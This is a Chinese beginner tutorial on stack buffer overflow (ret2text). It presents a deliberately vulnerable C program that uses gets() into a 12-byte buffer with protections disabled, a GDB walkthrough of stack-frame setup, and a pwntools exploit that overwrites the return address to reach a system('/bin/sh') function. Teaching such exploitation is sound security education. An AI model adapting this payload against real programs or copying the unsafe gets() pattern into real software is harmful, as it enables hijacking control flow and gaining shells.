首页 > 其他分享 >PWN入门之Stack Overflow

PWN入门之Stack Overflow

时间:2023-12-07 15:25:36浏览次数:27  
标签:0xffffd068 函数 esp ESP ebp PWN EBP Overflow Stack

本文是i春秋论坛签约作家「Binary star」分享的技术文章,旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

大家好,我是Binary star,目前从事于公安行业,擅长Web、二进制和电子取证方向。能把网络安全技能运用在工作中,与我的职业结合起来做有意义的事,是非常自豪的,我希望通过自身努力成为一名优秀的二进制研究员,实现自我价值。

Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。

在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。

C语言程序

来分析劫持程序流的过程

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {
    char s[12];
    gets(s);
    puts(s);
    return;
}
int main(int argc, char **argv) {
    vulnerable();
    return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack

编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

 

运行

从运行的角度看程序

 

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。

我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。

但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

 

从汇编的角度看程序

main函数的地址为0x080484BB

vulnerable函数的地址为0x08048494

success函数的地址为0x0804846B

plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。

main函数

 

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。

success函数

 

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。

用GDB进行调试

 

在main函数中下一个断点,开始调试。

 

进入到vulnerable函数

 

push ebp
move ebp,esp
sub esp ,0x18

在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c

这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。

在经过push ebp之后

 

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP由 0xffffd05c变为了 0xffffd058

 

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

 

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

 

现在ebp和esp指向同一位置,都为0xffffd058。

之后是sub esp,0x18

 

EBP 0xffffd058

ESP 0xffffd040

至此栈空间开辟完成。

 

再来分析gets和puts函数

0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
► 0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>

ebp-0x14=0xffffd058-0x14=0xffffd044

 

get函数会请求键盘输入

 

我们输入aaaaaaaabbbbbbbb

 

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。

我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

 

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

 

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。

 

 

 

单步调试vulnerable函数

进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebp,esp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp,0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp,0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move esp,ebp pop ebp
也就是说,把bp的值给sp,bp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

 

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。

劫持程序流

第一步算距离

首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

 

第二步用数据填充

0x14就是20个字符,用20个a进行填充。

 

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。

##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

标签:0xffffd068,函数,esp,ESP,ebp,PWN,EBP,Overflow,Stack
From: https://www.cnblogs.com/wangluo-anquan/p/17882095.html

相关文章

  • CTFpwn全保护简单介绍及一道保护全开题
    今日份心脏骤停,噔噔咚!每种保护介绍FullRELRO保护原理:其实就是不让你改写got表中的内容。影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)Canary保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在......
  • 第3章. 栈(Stack)
    栈(Stack)一、栈的相关概念栈是一种特殊的线性表,只能在一端进行操作往栈中添加元素的操作,一般叫做push,入栈。往栈中移除元素的操作,一般叫做pop,出栈(只能移除栈顶元素,也叫作:弹栈)先进后出的原则:LastINFIRSTOUT,LIFO。二、栈的接口设计intsize(); //元素的数量bo......
  • openstack 常用命令
    1.创建一个磁盘cinderlist&&cindertype-list&&glanceimage-listcindercreate--volume-typeISCSI--image-id5c86aff6-2ed6-4b56-a5f2-48ae68b891fc--nametest102.创建一个虚拟机openstacknetworklist&&openstacksecuritygrouplist&&......
  • 基于kvm虚拟机创建openstack qcow2磁盘镜像
    前提知识KVM做单机管理虚拟机,Openstack集群管理虚拟机 使用工具virt-manager 虚拟机管理器(VirtualMachineManager) 目标基于Kylin-Server-V10-SP3-General-Release-2303-X86_64.iso创建qcow2格式的openstack磁盘镜像 qcow2镜像制作使用环境      IP:......
  • Windows上使用Docker搭建ChirpStack私有LoRa服务端
    1.安装docker运行docker,这里就不细说了2.下载ChirpStack项目包ChirpStack提供了一个包含示例DockerCompose配置的存储库,以帮助开始使用ChirpStack,此存储库位于chirpstack-docker:SetupChirpStackusingDockerCompose,克隆项目文件到本地电脑,可以使用以下命令:gitcloneht......
  • 每天5分钟复习OpenStack(十二)Ceph FileStore 和 BlueSotre
    一个最小化的Ceph集群需要三个组件MONMGROSD.上一章我们部署了MON,本章节我们完成剩下MGR和OSD的部署。在文末我们将重点介绍下什么是FileStore和BlueStore,并详细分析其特点,来说明为什么Ceph社区放弃了FileStore,直接采用了BlueStore.1、MGR部署创建mgr工作目录sudo-u......
  • CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp
    三个例子的引入目前我遇到的格式化字符串漏洞(formatstring,后文简称fmt)主要存在于printf函数,本文也就以printf举例。例一,标准格式的printf read(0,buf,33);printf("%s",buf);例二,占位符与变量 printf("%d%c%s",a,b,c);//%d%c%s会访问变量以输出整型,字符等。其中a,b,c为三......
  • StackGres 数据库平台工程,使用 Citus + Patroni 创建生产级高可用分布式 PostgreSQL
    系列StackGres,可私有部署的云原生数据库平台工程StackGres 数据库平台工程功能介绍与快速上手StackGres1.6数据库平台工程集群配置管理(K8SPods/PostgreSQL/PgBouncer)StackGres1.6数据库平台工程,集群高可用(Patroni3管理)什么是ShardedCluster(分片集群)Sha......
  • PWN学习之LLVM入门
    一、基本流程①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:②通过逆向,找到函数名及参数,编写基本exp③找到漏洞,写利用exp.c,其中的pwn的目标是op......
  • uva12096集合栈计算机 The SetStack Computer
    洛谷链接集合栈计算机TheSetStackComputer-洛谷|计算机科学教育新生态(luogu.com.cn)一道典型的以栈为背景的数据结构题。题目简单但是程序却并不简单(个人观点)。普及组的难度有点低了感觉。个人认为这道题目可以帮助自己熟悉或者说更好的掌握STL的使用以及妙用。难点:1......